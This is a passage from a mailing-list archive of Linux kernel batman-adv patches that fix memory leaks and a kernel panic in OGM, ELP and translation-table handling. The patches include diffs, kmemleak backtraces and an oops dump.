[<0000000042fc2606>] process_one_work+0x3b0/0x610
[<000000002f2a0b1c>] worker_thread+0xa0/0x690
[<0000000059fae5d4>] kthread+0x1fc/0x210
[<000000000c587d3a>] ret_from_fork+0x10/0x20
Free the skb in that case to fix this leak.
Cc: stable(a)vger.kernel.org
Fixes: 0da0035942d4 ("batman-adv: OGMv2 - add basic infrastructure")
Signed-off-by: Remi Pommarel <repk(a)triplefau.lt>
Signed-off-by: Sven Eckelmann <sven(a)narfation.org>
Signed-off-by: Simon Wunderlich <sw(a)simonwunderlich.de>
---
net/batman-adv/bat_v_ogm.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/net/batman-adv/bat_v_ogm.c b/net/batman-adv/bat_v_ogm.c
index 84eac41d4658..e503ee0d896b 100644
--- a/net/batman-adv/bat_v_ogm.c
+++ b/net/batman-adv/bat_v_ogm.c
@@ -123,8 +123,10 @@ static void batadv_v_ogm_send_to_if(struct sk_buff *skb,
{
struct batadv_priv *bat_priv = netdev_priv(hard_iface->soft_iface);
- if (hard_iface->if_status != BATADV_IF_ACTIVE)
+ if (hard_iface->if_status != BATADV_IF_ACTIVE) {
+ kfree_skb(skb);
return;
+ }
batadv_inc_counter(bat_priv, BATADV_CNT_MGMT_TX);
batadv_add_counter(bat_priv, BATADV_CNT_MGMT_TX_BYTES,
--
2.39.2
2 years, 4 months
- 1
- 0
[PATCH 4/5] batman-adv: Fix TT global entry leak when client roamed back
by Simon Wunderlich
From: Remi Pommarel <repk(a)triplefau.lt>
When a client roamed back to a node before it got time to destroy the
pending local entry (i.e. within the same originator interval) the old
global one is directly removed from hash table and left as such.
But because this entry had an extra reference taken at lookup (i.e using
batadv_tt_global_hash_find) there is no way its memory will be reclaimed
at any time causing the following memory leak:
unreferenced object 0xffff0000073c8000 (size 18560):
comm "softirq", pid 0, jiffies 4294907738 (age 228.644s)
hex dump (first 32 bytes):
06 31 ac 12 c7 7a 05 00 01 00 00 00 00 00 00 00 .1...z..........
2c ad be 08 00 80 ff ff 6c b6 be 08 00 80 ff ff ,.......l.......
backtrace:
[<00000000ee6e0ffa>] kmem_cache_alloc+0x1b4/0x300
[<000000000ff2fdbc>] batadv_tt_global_add+0x700/0xe20
[<00000000443897c7>] _batadv_tt_update_changes+0x21c/0x790
[<000000005dd90463>] batadv_tt_update_changes+0x3c/0x110
[<00000000a2d7fc57>] batadv_tt_tvlv_unicast_handler_v1+0xafc/0xe10
[<0000000011793f2a>] batadv_tvlv_containers_process+0x168/0x2b0
[<00000000b7cbe2ef>] batadv_recv_unicast_tvlv+0xec/0x1f4
[<0000000042aef1d8>] batadv_batman_skb_recv+0x25c/0x3a0
[<00000000bbd8b0a2>] __netif_receive_skb_core.isra.0+0x7a8/0xe90
[<000000004033d428>] __netif_receive_skb_one_core+0x64/0x74
[<000000000f39a009>] __netif_receive_skb+0x48/0xe0
[<00000000f2cd8888>] process_backlog+0x174/0x344
[<00000000507d6564>] __napi_poll+0x58/0x1f4
[<00000000b64ef9eb>] net_rx_action+0x504/0x590
[<00000000056fa5e4>] _stext+0x1b8/0x418
[<00000000878879d6>] run_ksoftirqd+0x74/0xa4
unreferenced object 0xffff00000bae1a80 (size 56):
comm "softirq", pid 0, jiffies 4294910888 (age 216.092s)
hex dump (first 32 bytes):
00 78 b1 0b 00 00 ff ff 0d 50 00 00 00 00 00 00 .x.......P......
00 00 00 00 00 00 00 00 50 c8 3c 07 00 00 ff ff ........P.<.....
backtrace:
[<00000000ee6e0ffa>] kmem_cache_alloc+0x1b4/0x300
[<00000000d9aaa49e>] batadv_tt_global_add+0x53c/0xe20
[<00000000443897c7>] _batadv_tt_update_changes+0x21c/0x790
[<000000005dd90463>] batadv_tt_update_changes+0x3c/0x110
[<00000000a2d7fc57>] batadv_tt_tvlv_unicast_handler_v1+0xafc/0xe10
[<0000000011793f2a>] batadv_tvlv_containers_process+0x168/0x2b0
[<00000000b7cbe2ef>] batadv_recv_unicast_tvlv+0xec/0x1f4
[<0000000042aef1d8>] batadv_batman_skb_recv+0x25c/0x3a0
[<00000000bbd8b0a2>] __netif_receive_skb_core.isra.0+0x7a8/0xe90
[<000000004033d428>] __netif_receive_skb_one_core+0x64/0x74
[<000000000f39a009>] __netif_receive_skb+0x48/0xe0
[<00000000f2cd8888>] process_backlog+0x174/0x344
[<00000000507d6564>] __napi_poll+0x58/0x1f4
[<00000000b64ef9eb>] net_rx_action+0x504/0x590
[<00000000056fa5e4>] _stext+0x1b8/0x418
[<00000000878879d6>] run_ksoftirqd+0x74/0xa4
Releasing the extra reference from batadv_tt_global_hash_find even at
roam back when batadv_tt_global_free is called fixes this memory leak.
Cc: stable(a)vger.kernel.org
Fixes: 068ee6e204e1 ("batman-adv: roaming handling mechanism redesign")
Signed-off-by: Remi Pommarel <repk(a)triplefau.lt>
Signed-off-by; Sven Eckelmann <sven(a)narfation.org>
Signed-off-by: Simon Wunderlich <sw(a)simonwunderlich.de>
---
net/batman-adv/translation-table.c | 1 -
1 file changed, 1 deletion(-)
diff --git a/net/batman-adv/translation-table.c b/net/batman-adv/translation-table.c
index 36ca31252a73..b95c36765d04 100644
--- a/net/batman-adv/translation-table.c
+++ b/net/batman-adv/translation-table.c
@@ -774,7 +774,6 @@ bool batadv_tt_local_add(struct net_device *soft_iface, const u8 *addr,
if (roamed_back) {
batadv_tt_global_free(bat_priv, tt_global,
"Roaming canceled");
- tt_global = NULL;
} else {
/* The global entry has to be marked as ROAMING and
* has to be kept for consistency purpose
--
2.39.2
2 years, 4 months
- 1
- 0
[PATCH 3/5] batman-adv: Do not get eth header before batadv_check_management_packet
by Simon Wunderlich
From: Remi Pommarel <repk(a)triplefau.lt>
If received skb in batadv_v_elp_packet_recv or batadv_v_ogm_packet_recv
is either cloned or non linearized then its data buffer will be
reallocated by batadv_check_management_packet when skb_cow or
skb_linearize get called. Thus geting ethernet header address inside
skb data buffer before batadv_check_management_packet had any chance to
reallocate it could lead to the following kernel panic:
Unable to handle kernel paging request at virtual address ffffff8020ab069a
Mem abort info:
ESR = 0x96000007
EC = 0x25: DABT (current EL), IL = 32 bits
SET = 0, FnV = 0
EA = 0, S1PTW = 0
FSC = 0x07: level 3 translation fault
Data abort info:
ISV = 0, ISS = 0x00000007
CM = 0, WnR = 0
swapper pgtable: 4k pages, 39-bit VAs, pgdp=0000000040f45000
[ffffff8020ab069a] pgd=180000007fffa003, p4d=180000007fffa003, pud=180000007fffa003, pmd=180000007fefe003, pte=0068000020ab0706
Internal error: Oops: 96000007 [#1] SMP
Modules linked in: ahci_mvebu libahci_platform libahci dvb_usb_af9035 dvb_usb_dib0700 dib0070 dib7000m dibx000_common ath11k_pci ath10k_pci ath10k_core mwl8k_new nf_nat_sip nf_conntrack_sip xhci_plat_hcd xhci_hcd nf_nat_pptp nf_conntrack_pptp at24 sbsa_gwdt
CPU: 1 PID: 16 Comm: ksoftirqd/1 Not tainted 5.15.42-00066-g3242268d425c-dirty #550
Hardware name: A8k (DT)
pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)
pc : batadv_is_my_mac+0x60/0xc0
lr : batadv_v_ogm_packet_recv+0x98/0x5d0
sp : ffffff8000183820
x29: ffffff8000183820 x28: 0000000000000001 x27: ffffff8014f9af00
x26: 0000000000000000 x25: 0000000000000543 x24: 0000000000000003
x23: ffffff8020ab0580 x22: 0000000000000110 x21: ffffff80168ae880
x20: 0000000000000000 x19: ffffff800b561000 x18: 0000000000000000
x17: 0000000000000000 x16: 0000000000000000 x15: 00dc098924ae0032
x14: 0f0405433e0054b0 x13: ffffffff00000080 x12: 0000004000000001
x11: 0000000000000000 x10: 0000000000000000 x9 : 0000000000000000
x8 : 0000000000000000 x7 : ffffffc076dae000 x6 : ffffff8000183700
x5 : ffffffc00955e698 x4 : ffffff80168ae000 x3 : ffffff80059cf000
x2 : ffffff800b561000 x1 : ffffff8020ab0696 x0 : ffffff80168ae880
Call trace:
batadv_is_my_mac+0x60/0xc0
batadv_v_ogm_packet_recv+0x98/0x5d0
batadv_batman_skb_recv+0x1b8/0x244
__netif_receive_skb_core.isra.0+0x440/0xc74
__netif_receive_skb_one_core+0x14/0x20
netif_receive_skb+0x68/0x140
br_pass_frame_up+0x70/0x80
br_handle_frame_finish+0x108/0x284
br_handle_frame+0x190/0x250
__netif_receive_skb_core.isra.0+0x240/0xc74
__netif_receive_skb_list_core+0x6c/0x90
netif_receive_skb_list_internal+0x1f4/0x310
napi_complete_done+0x64/0x1d0
gro_cell_poll+0x7c/0xa0
__napi_poll+0x34/0x174
net_rx_action+0xf8/0x2a0
_stext+0x12c/0x2ac
run_ksoftirqd+0x4c/0x7c
smpboot_thread_fn+0x120/0x210
kthread+0x140/0x150
ret_from_fork+0x10/0x20
Code: f9403844 eb03009f 54fffee1 f94
Thus ethernet header address should only be fetched after
batadv_check_management_packet has been called.
Fixes: 0da0035942d4 ("batman-adv: OGMv2 - add basic infrastructure")
Cc: stable(a)vger.kernel.org
Signed-off-by: Remi Pommarel <repk(a)triplefau.lt>
Signed-off-by: Sven Eckelmann <sven(a)narfation.org>
Signed-off-by: Simon Wunderlich <sw(a)simonwunderlich.de>
---
net/batman-adv/bat_v_elp.c | 3 ++-
net/batman-adv/bat_v_ogm.c | 3 ++-
2 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/net/batman-adv/bat_v_elp.c b/net/batman-adv/bat_v_elp.c
index acff565849ae..1d704574e6bf 100644
--- a/net/batman-adv/bat_v_elp.c
+++ b/net/batman-adv/bat_v_elp.c
@@ -505,7 +505,7 @@ int batadv_v_elp_packet_recv(struct sk_buff *skb,
struct batadv_priv *bat_priv = netdev_priv(if_incoming->soft_iface);
struct batadv_elp_packet *elp_packet;
struct batadv_hard_iface *primary_if;
- struct ethhdr *ethhdr = (struct ethhdr *)skb_mac_header(skb);
+ struct ethhdr *ethhdr;
bool res;
int ret = NET_RX_DROP;
@@ -513,6 +513,7 @@ int batadv_v_elp_packet_recv(struct sk_buff *skb,
if (!res)
goto free_skb;
+ ethhdr = eth_hdr(skb);
if (batadv_is_my_mac(bat_priv, ethhdr->h_source))
goto free_skb;
diff --git a/net/batman-adv/bat_v_ogm.c b/net/batman-adv/bat_v_ogm.c
index e710e9afe78f..84eac41d4658 100644
--- a/net/batman-adv/bat_v_ogm.c
+++ b/net/batman-adv/bat_v_ogm.c
@@ -985,7 +985,7 @@ int batadv_v_ogm_packet_recv(struct sk_buff *skb,
{
struct batadv_priv *bat_priv = netdev_priv(if_incoming->soft_iface);
struct batadv_ogm2_packet *ogm_packet;
- struct ethhdr *ethhdr = eth_hdr(skb);
+ struct ethhdr *ethhdr;
int ogm_offset;
u8 *packet_pos;
int ret = NET_RX_DROP;
@@ -999,6 +999,7 @@ int batadv_v_ogm_packet_recv(struct sk_buff *skb,
if (!batadv_check_management_packet(skb, if_incoming, BATADV_OGM2_HLEN))
goto free_skb;
+ ethhdr = eth_hdr(skb);
if (batadv_is_my_mac(bat_priv, ethhdr->h_source))
goto free_skb;
--
2.39.2
2 years, 4 months
- 1
- 0